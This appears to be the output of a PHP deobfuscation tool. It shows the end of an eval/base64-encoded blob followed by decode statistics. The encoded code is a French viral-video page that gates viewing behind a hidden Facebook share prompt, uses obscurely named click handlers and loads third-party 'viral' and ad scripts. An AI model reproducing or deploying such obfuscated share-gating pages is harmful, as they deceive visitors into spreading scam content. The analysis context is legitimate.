0KHRoaXMpOyI+PGltZyBzcmM9Imh0dHA6Ly93d3cuenVwaW1hZ2VzLm5ldC91cC8xNi8xMS81c2J3LnBuZyIgYm9yZGVyPSIwIiB3aWR0aD0iMzAwIiBoZWlnaHQ9IjE4NyI+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0icmVzdHJpY3Rpb25zIiBzdHlsZT0idmlzaWJpbGl0eTpoaWRkZW47Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgCTxhIGhyZWY9IiMiIG9uY2xpY2s9ImZpa2FsYSgmIzM5O2h0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9zaGFyZXIvc2hhcmVyLnBocD91PTw/cGhwIGVjaG8gJGNvbmZpZ1sndXJsQmFzZSddOyA/PnZpZGVvXzw/cGhwIGVjaG8gJGluZm9WaWRlb1snaWQnXTsgPz4/aWQ9PD9waHAgZWNobyAkbm9tYnJlOyA/PiYjMzk7KTtyZXR1cm4gZmFsc2UiPjxpbWcgc3JjPSJodHRwOi8vd3d3Lnp1cGltYWdlcy5uZXQvdXAvMTYvMTEvZWxzYi5wbmciIGJvcmRlcj0iMCIgaGVpZ2h0PSIyMDAiIHdpZHRoPSI1MDAiPjwvYT4NCgkJCQkJCSAgICAgDQoJCQkJCQkJDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICANCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJmbG9hdDpsZWZ0O3dpZHRoOjU2MHB4O21hcmdpbi10b3A6LTVweDttYXJnaW4tbGVmdDo3cHg7Ij48YSBocmVmPSIjIiBvbmNsaWNrPSJOblB1cFFtcllkbHcoKTsga2FiaXNhdG9hKCk7Ij48aW1nIHNyYz0iaHR0cDovL2kuaW1ndXIuY29tL1pmSUNIM3MucG5nIiBib3JkZXI9IjAiIGhlaWdodD0iNTEiIHdpZHRoPSI1NTAiPjwvYT48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgIDw/cGhwIGVjaG8gc3RyaXBzbGFzaGVzKCRwdWJbJ3RvcCddKTsgPz4NCgkgICA8P3BocCBlY2hvIHN0cmlwc2xhc2hlcygkcHViWyd2aWRlbyddKTsgPz4NCgkgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwOi8vbGFjdHVlbmJ1enouY29tL3ZpcmFsc2NyaXB0LmpzIj48L3NjcmlwdD4NCgkgICA8c2NyaXB0IGRhdGEtY2Zhc3luYz0iZmFsc2UiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwOi8vd3d3LnRyYWRlYWRleGNoYW5nZS5jb20vYS9kaXNwbGF5LnBocD9yPTYyNDQ3Ij48L3NjcmlwdD4NCg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgPC9kaXY+DQoNCgk8P3BocA0KCQkJCQkJCSRpbmZvVmlkZW9bJ3RpdHJlJ10gPSBzdHJfcmVwbGFjZSgiJyIsICcgJywgJGluZm9WaWRlb1sndGl0cmUnXSk7DQoJCQkJCQkJJHJhbmQgPSByYW5kICgxLDIpOw0KCQkJCQkJCSRyYW5kMiA9IHJhbmQgKDEsMik7DQoJCQkJCQkJJG5iID0gcmFuZCgxLDUpOw0KCQkJCQkJCSRuYjIgPSByYW5kKDEsNSk7DQoJCQkJCQk/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgDQoJCQkJCQk8YnIgLz4NCgkJCQkJCTxmYjpsaWtlIGhyZWY9Ijw/cGhwIGVjaG8gJGNvbmZpZ1sncGFnZUZiJ107ID8+IiBzZW5kPSJmYWxzZSIgd2lkdGg9IjE3MCIgc2hvd19mYWNlcz0iZmFsc2UiIGxheW91dD0iYnV0dG9uX2NvdW50Ij48L2ZiOmxpa2U+DQoJCQkJCQk8P3BocA0KCQkJCQkJCWlmICgkZGVtU2lnbi0+cm93Q291bnQoKT09MCk6DQoJCQkJCQkJCWVjaG8gJzxhIGhyZWY9IicuJGNvbmZpZ1sndXJsQmFzZSddLid2aWRlb19zaWduXycuJGluZm9WaWRlb1snaWQnXS4nIj48c3Ryb25nPlNpZ25hbGVyIGNldHRlIHZpZGVvPC9zdHJvbmc+PC9hPic7DQoJCQkJCQkJZW5kaWY7DQoJCQkJCQk/Pg0KCQkJCQkJCTxmYjpjb21tZW50cyBocmVmPSI8P3BocCBlY2hvICRjb25maWdbJ3VybEJhc2UnXTsgPz52aWRlb188P3BocCBlY2hvICRtb3ZpZVsnaWQnXTsgPz4iIHdpZHRoPSI2NDBweDsiIG51bV9wb3N0cz0iMTAiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGOyI+PC9mYjpjb21tZW50cz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgyPkNlcyB2aWRlb3MgcGV1dmVudCB2b3VzIGludGVyZXNzZXI8L2gyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+DQoJCQkJCQk8P3BocA0KCQkJCQkJCSRkZW1WaWRlb3MgPSAkZGItPnF1ZXJ5KCJTRUxFQ1QgKiAgRlJPTSBtb3ZpZXMgT1JERVIgQlkgcmFuZCgpIERFU0MgTElNSVQgMCwgNSIpOw0KCQkJCQkJCXdoaWxlICgkbW92aWUgPSAkZGVtVmlkZW9zLT5mZXRjaCgpKXsJCQkJCQ0KCQkJCQkJCQkkdG9SZXBsYWNlID0gYXJyYXkoIukiLCAi6CIsICLgIik7DQoJCQkJCQkJCSRyZXBsYWNlZD0gYXJyYXkoImUiLCAiZSIsICJhIik7DQoJCQkJCQkJCSRsaW5rTmFtZSA9IHN0cl9yZXBsYWNlKCR0b1JlcGxhY2UsICRyZXBsYWNlZCwgJG1vdmllWyd0aXRyZSddKTsNCgkJCQkJCQkJJGxpbmtOYW1lID0gcHJlZ19yZXBsYWNlKCcvKFteLmEtekEtWjAtOV0rKS9pJywgJ18nLCAkbGlua05hbWUpOw0KCQkJCQkJCQk/Pg0KCQkJCQkJCQk8YSBocmVmPSI8P3BocCBlY2hvICRjb25maWdbJ3VybEJhc2UnXTsgPz52aWRlb188P3BocCBlY2hvICRtb3ZpZVsnaWQnXTsgPz4vPD9waHAgZWNobyAkbGlua05hbWU7ID8+IiB0aXRsZT0iPD9waHAgZWNobyBzdHJpcHNsYXNoZXMoJG1vdmllWyd0aXRyZSddKTsgPz4iPg0KCQkJCQkJCQkJPHRhYmxlIHN0eWxlPSJmbG9hdDogbGVmdDsiPg0KCQkJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCQkJPHRkPjxpbWcgc3JjPSI8P3BocCBlY2hvICRtb3ZpZVsnaW1hZ2UnXTsgPz4iIHdpZHRoPSIxMjAiIGhlaWdodD0iOTAiIGNsYXNzPSJ2aWduZXR0ZSIgLz48L3RkPg0KCQkJCQkJCQkJCTwvdHI+DQoJCQkJCQkJCQk8L3RhYmxlPg0KCQkJCQkJCQk8L2E+DQoJCQkJCQkJCTw/cGhwDQoJCQkJCQkJfQ0KCQkJCQkJPz4NCgkJCQkJDQoJCQkJCQkNCgkJCQkJCTw/cGhwDQoJCQkJCWVuZGlmOw0KCQkJCWVsc2U6DQoJCQkJCWVjaG8gJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IFVSTD1hY2N1ZWlsIj4nOw0KCQkJCWVuZGlmOw0KCQkJZWxzZToNCgkJCQllY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwOyBVUkw9YWNjdWVpbCI+JzsNCgkJCWVuZGlmOw0KCQllbHNlOg0KCQkJJHNxbCA9ICRkYi0+cXVlcnkoIlNFTEVDVCBjb3VudChpZCkgQVMgbmJtb3ZpZXMgRlJPTSBtb3ZpZXMiKTsNCgkJCSRkYXRhID0gJHNxbC0+ZmV0Y2goKTsNCgkJCQ0KCQkJJG5iQXBwcyA9ICRkYXRhWyduYm1vdmllcyddLTE7DQoJCQkkcGVyUGFnZSA9IDEwOw0KCQkJJG5iUGFnZSA9IGNlaWwoJG5iQXBwcy8kcGVyUGFnZSk7DQoJCQkkY1BhZ2UgPSAxOw0KCQ0KCQkJaWYgKGlzc2V0KCRfR0VUWydwJ10pICYmICRfR0VUWydwJ10+MCAmJiAkX0dFVFsncCddPD0kbmJQYWdlKToNCgkJCQkkY1BhZ2UgPSAkX0dFVFsncCddOw0KCQkJZWxzZToNCgkJCQkkY1BhZ2UgPSAxOw0KCQkJZW5kaWY7DQoJCQkkZGViTGltaXQgPSAoJGNQYWdlLTEpKiRwZXJQYWdlOw0KCQkJDQoJCQkkZGVtVmlkZW9zID0gJGRiLT5xdWVyeSgiU0VMRUNUICosIChTRUxFQ1Qgbm9tIEZST00gY2F0cyBpIFdIRVJFIGkuaWQ9dS5pZENhdCkgQVMgY2F0ZWdvcmllIEZST00gbW92aWVzIHUgT1JERVIgQlkgaWQgREVTQyBMSU1JVCAkZGViTGltaXQsJHBlclBhZ2UiKTsNCgkJCWlmICgkZGVtVmlkZW9zLT5yb3dDb3VudCgpPjApOg0KCQkJCXdoaWxlICgkbW92aWUgPSAkZGVtVmlkZW9zLT5mZXRjaCgpKXsNCgkJCQkJJGxNb3ZpZSA9IHN0cmxlbigkbW92aWVbJ3RpdHJlJ10pOw0KCQkJCQlpZiAoJGxNb3ZpZT42MCk6DQoJCQkJCQkkbW92aWVbJ3RpdHJlJ10gPSBzdWJzdHIoJG1vdmllWyd0aXRyZSddLCAwLCA2MCkuJy4uLic7DQoJCQkJCWVuZGlmOw0KCQkJCQk/Pg0KCQkJCQkJPGRpdiBpZD0iem9uZSI+DQoJCQkJCQkJPGEgaHJlZj0idmlkZW9fPD9waHAgZWNobyAkbW92aWVbJ2lkJ107ID8+Ij4NCgkJCQkJCQkJPHRhYmxlPg0KCQkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJCTx0ZD48aW1nIHNyYz0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRtb3ZpZVsnaW1hZ2UnXSk7ID8+IiB3aWR0aD0iMTIwIiBoZWlnaHQ9IjkwIiBjbGFzcz0idmlnbmV0dGUiIC8+PC90ZD4NCgkJCQkJCQkJCQk8dGQgY2xhc3M9InRvcCIgd2lkdGg9IjE3NyI+DQoJCQkJCQkJCQkJCTw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhzdHJpcHNsYXNoZXMoJG1vdmllWyd0aXRyZSddKSk7ID8+PGJyIC8+PGJyIC8+DQoJCQkJCQkJCQkJCVZ1ZSA6IDxzcGFuIGNsYXNzPSJibHVlIj48P3BocCBlY2hvIGZvcm1hdE5vbWJyZSgkbW92aWVbJ3Z1ZXMnXSk7ID8+PC9zcGFuPiBmb2lzPGJyIC8+PGJyIC8+DQoJCQkJCQkJCQkJCUNhdOlnb3JpZSA6IDxhIGhyZWY9ImNhdF88P3BocCBlY2hvICRtb3ZpZVsnaWRDYXQnXTsgPz4iPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbW92aWVbJ2NhdGVnb3JpZSddKTsgPz48L2E+IDxzcGFuIGNsYXNzPSJyaWdodCI+PGEgaHJlZj0idmlkZW9fPD9waHAgZWNobyAkbW92aWVbJ2lkJ107ID8+Ij48c3Ryb25nPlZvaXI8L3N0cm9uZz48L2E+PC9zcGFuPg0KCQkJCQkJCQkJCTwvdGQ+DQoJCQkJCQkJCQk8L3RyPg0KCQkJCQkJCQk8L3RhYmxlPg0KCQkJCQkJCTwvYT4NCgkJCQkJCTwvZGl2Pg0KCQkJCQk8P3BocA0KCQkJCX0NCgkJCQkNCgkJCQkvL09uIGFmZmljaGUgbm90cmUgcGFnaW5hdGlvbiBpY2kNCgkJCQllY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InBhZ2luYXRpb24gYmx1ZSIgc3R5bGU9IndpZHRoOiA2NDBweDtoZWlnaHQ6IDQwcHg7Ij4nOw0KCQkJCQlpZiAoJGNQYWdlPjEpOg0KCQkJCQkJZWNobyAnPGEgY2xhc3M9Im51bWJlciBjdXJyZW50IiBocmVmPSJ2aWRlb3NfcF8xIj5QcmVtaehyZTwvYT4nOwkNCgkJCQkJZW5kaWY7DQoJCQkJCQlmb3IgKCRmPTE7ICRmPD0kbmJQYWdlOyRmKyspew0KCQkJCQkJCSRjUGFnZU1pbiA9ICRjUGFnZS00Ow0KCQkJCQkJCSRjUGFnZU1heCA9ICRjUGFnZSs0Ow0KCQkJCQkJCQ0KCQkJCQkJCWlmICgkZj09JGNQYWdlKToNCgkJCQkJCQkJZWNobyAnPGEgY2xhc3M9Im51bWJlciBjdXJyZW50IiBocmVmPSIjIj4nLiRmLic8L2E+JzsNCgkJCQkJCQllbHNlOg0KCQkJCQkJCQlpZiAoKCRmPiRjUGFnZU1pbikgJiYgKCRmPCRjUGFnZU1heCkpOg0KCQkJCQkJCQkJZWNobyAnPGEgY2xhc3M9Im51bWJlciIgaHJlZj0idmlkZW9zX3BfJy4kZi4nIj4nLiRmLic8L2E+JzsJDQoJCQkJCQkJCWVuZGlmOw0KCQkJCQkJCWVuZGlmOw0KCQkJCQkJfQ0KCQkJCQlpZiAoJGNQYWdlPCRuYlBhZ2UpOg0KCQkJCQkJZWNobyAnPGEgY2xhc3M9Im51bWJlciBjdXJyZW50IiBocmVmPSJ2aWRlb3NfcF8nLiRuYlBhZ2UuJyI+RGVybmnocmU8L2E+JzsJDQoJCQkJCWVuZGlmOw0KCQkJCWVjaG8gJzwvZGl2PjwvY2VudGVyPic7DQoNCgkJCWVsc2U6DQoJCQkJZWNobyAnPGRpdiBpZD0iYWFjaGVuIj5BdWN1bmUgdmlk6W88L2Rpdj4nOw0KCQkJZW5kaWY7DQoJCWVuZGlmOw0KICAgICAgICBlY2hvICc8L2Rpdj4nOw0KCXJlcXVpcmUgKCdmb290LnBocCcpOw0KPz4=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 140190133397a969039a4b2ea3af1ea6
Eval Count 1
Decode Time 97 ms